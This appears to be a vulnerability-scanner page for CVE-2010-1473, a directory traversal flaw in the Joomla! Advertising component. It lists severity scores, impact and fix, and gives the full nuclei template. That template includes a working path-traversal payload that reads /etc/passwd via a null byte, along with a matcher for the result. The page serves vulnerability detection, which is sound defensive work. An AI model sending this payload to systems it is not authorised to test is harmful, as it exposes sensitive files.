Joomla! Component Advertising 0.25 - Local File Inclusion

mediumseverity

6.8CVSS score

8.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Advertising (com_advertising) component 0.25 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1473 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1473

info:
  name: Joomla! Component Advertising 0.25 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Advertising (com_advertising) component 0.25 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12171
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1473
    - http://packetstormsecurity.org/1004-exploits/joomlaeasyadbanner-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1473
    cwe-id: CWE-22
    epss-score: 0.08163
    epss-percentile: 0.94903
    cpe: cpe:2.3:a:johnmccollum:com_advertising:0.25:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: johnmccollum
    product: com_advertising
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,johnmccollum,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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